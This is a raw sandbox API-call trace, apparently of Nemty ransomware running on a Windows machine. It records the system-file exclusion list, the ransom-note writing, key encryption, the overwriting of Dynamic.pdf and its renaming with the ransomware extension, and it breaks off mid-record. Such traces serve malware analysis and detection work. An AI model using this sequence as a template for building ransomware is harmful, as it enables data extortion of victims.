[0188.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6343fe8 [0188.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0188.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.943] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24360a70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x24360a70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24386bd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0188.943] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0188.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0188.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0188.943] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="KOR", cAlternateFileName="")) returned 1 [0188.943] lstrcmpiW (lpString1="KOR", lpString2=".") returned 1 [0188.943] lstrcmpiW (lpString1="KOR", lpString2="..") returned 1 [0188.943] lstrcmpiW (lpString1="KOR", lpString2="...") returned 1 [0188.943] lstrcmpiW (lpString1="KOR", lpString2="windows") returned -1 [0188.943] lstrcmpiW (lpString1="KOR", lpString2="$RECYCLE.BIN") returned 1 [0188.943] lstrcmpiW (lpString1="KOR", lpString2="rsa") returned -1 [0188.943] lstrcmpiW (lpString1="KOR", lpString2="NTDETECT.COM") returned -1 [0188.943] lstrcmpiW (lpString1="KOR", lpString2="ntldr") returned -1 [0188.943] lstrcmpiW (lpString1="KOR", lpString2="MSDOS.SYS") returned -1 [0188.943] lstrcmpiW (lpString1="KOR", lpString2="IO.SYS") returned 1 [0188.943] lstrcmpiW (lpString1="KOR", lpString2="boot.ini") returned 1 [0188.943] lstrcmpiW (lpString1="KOR", lpString2="boot.ini") returned 1 [0188.943] lstrcmpiW (lpString1="KOR", lpString2="AUTOEXEC.BAT") returned 1 [0188.944] lstrcmpiW (lpString1="KOR", lpString2="ntuser.dat") returned -1 [0188.944] lstrcmpiW (lpString1="KOR", lpString2="desktop.ini") returned 1 [0188.944] lstrcmpiW (lpString1="KOR", lpString2="CONFIG.SYS") returned 1 [0188.944] lstrcmpiW (lpString1="KOR", lpString2="RECYCLER") returned -1 [0188.944] lstrcmpiW (lpString1="KOR", lpString2="BOOTSECT.BAK") returned 1 [0188.944] lstrcmpiW (lpString1="KOR", lpString2="bootmgr") returned 1 [0188.944] lstrcmpiW (lpString1="KOR", lpString2="programdata") returned -1 [0188.944] lstrcmpiW (lpString1="KOR", lpString2="appdata") returned 1 [0188.944] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KOR", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0188.944] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KOR", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KOR", lpUsedDefaultChar=0x0) returned 3 [0188.944] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KOR", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0188.944] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KOR", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KOR", lpUsedDefaultChar=0x0) returned 3 [0188.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0188.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340240 [0188.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0188.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0188.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0188.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0188.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0188.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0188.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0188.944] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0188.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0188.946] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.946] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0188.947] CloseHandle (hObject=0x2f0) returned 1 [0188.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0188.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0188.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0188.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403f0 [0188.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0188.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0188.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0188.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.948] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0188.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.948] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.948] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0188.949] CloseHandle (hObject=0x2f0) returned 1 [0188.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0188.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0188.949] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x244452b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x244452b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0188.949] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0188.950] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x244452b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x244452b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0188.950] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0188.950] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0188.950] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12b04, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0188.950] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0188.950] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0188.950] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0188.950] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0188.950] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.950] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0188.950] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0188.950] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0188.950] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0188.950] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0188.950] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0188.950] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0188.950] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.950] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0188.950] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0188.950] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0188.950] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0188.950] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.950] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0188.950] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0188.950] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0188.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.950] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.950] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.950] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.950] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.951] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.951] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.951] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.951] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0188.951] Sleep (dwMilliseconds=0x5) [0188.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2446b410, dwHighDateTime=0x1d561e8)) [0188.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x2446b410, dwHighDateTime=0x1d561e8)) [0188.961] GetLastError () returned 0xb7 [0188.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.961] GetLastError () returned 0xb7 [0188.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.961] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.961] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.961] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0188.961] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="xahj5x2MaOyRh+Ijuti5++xXi+gRktiJfjfs0dXRamhyw72nqre6RGBK1QyMm26G\r\nZhLGT2BZTYpSMjUtnMzJ/DEhcutQPDx1DZfz5xBN4HPw0VWeE+N0wwP9DTViuz3J\r\nW3Q7uzSCIF0unuPkUiftHRosKAx8SaYviOC2YBwg3tUkHyhRVfViVhvUW/4sB0dm\r\nxkXcBRrgdr+FYN+a54mnwdiHWvDeV4PTa2smITUhwrdma3qQV4zPmbEkgyvYdszS\r\n5b+rZMhw/nyj7C9FW1VYDVyEdlH7/M1iuEBbTNU2tNQIVt0hZZaYQEpQ3xhszcOE\r\nwryIeMt6F1t9iVbyEyiJBw==\r\n", pcchString=0x653df5c) returned 1 [0188.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0188.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.961] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.962] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=76548) returned 1 [0188.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x12b00) returned 0x6352c48 [0188.962] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.962] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x12b00, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x12b00, lpOverlapped=0x0) returned 1 [0188.968] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.968] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x12b00, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x12b00, lpOverlapped=0x0) returned 1 [0188.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.969] SetFilePointer (in: hFile=0x320, lDistanceToMove=76548, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12b04 [0188.969] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.969] CloseHandle (hObject=0x320) returned 1 [0188.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.969] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.969] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0188.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0188.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.969] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0188.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0188.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.970] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, 